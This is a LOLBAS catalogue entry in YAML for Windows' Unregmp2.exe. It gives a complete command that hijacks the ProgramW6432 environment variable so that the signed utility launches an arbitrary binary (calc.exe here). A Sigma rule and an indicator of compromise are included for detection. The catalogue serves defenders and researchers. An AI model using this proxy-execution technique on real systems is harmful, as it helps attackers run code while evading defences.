LOLBAS/yml/OSBinaries/Unregmp2.yml

---
Name: Unregmp2.exe
Description: Microsoft Windows Media Player Setup Utility
Author: 'Wade Hickey'
Created: 2021-12-06
Commands:
  - Command: rmdir %temp%\lolbin /s /q 2>nul & mkdir "%temp%\lolbin\Windows Media Player" & copy C:\Windows\System32\calc.exe "%temp%\lolbin\Windows Media Player\wmpnscfg.exe" >nul && cmd /V /C "set "ProgramW6432=%temp%\lolbin" && unregmp2.exe /HideWMP"
    Description: Allows an attacker to copy a target binary to a controlled directory and modify the 'ProgramW6432' environment variable to point to that controlled directory, then execute 'unregmp2.exe' with argument '/HideWMP' which will spawn a process at the hijacked path '%ProgramW6432%\wmpnscfg.exe'.
    Usecase: Proxy execution of binary
    Category: Execute
    Privileges: User
    MitreID: T1202
    OperatingSystem: Windows 10
Full_Path:
  - Path: C:\Windows\System32\unregmp2.exe
  - Path: C:\Windows\SysWOW64\unregmp2.exe
Detection:
  - Sigma: https://github.com/SigmaHQ/sigma/blob/197615345b927682ab7ad7fa3c5f5bb2ed911eed/rules/windows/process_creation/proc_creation_win_lolbin_unregmp2.yml
  - IOC: Low-prevalence binaries, with filename 'wmpnscfg.exe', spawned as child-processes of `unregmp2.exe /HideWMP`
Resources:
  - Link: https://twitter.com/notwhickey/status/1466588365336293385
Acknowledgement:
  - Person: Wade Hickey
    Handle: '@notwhickey'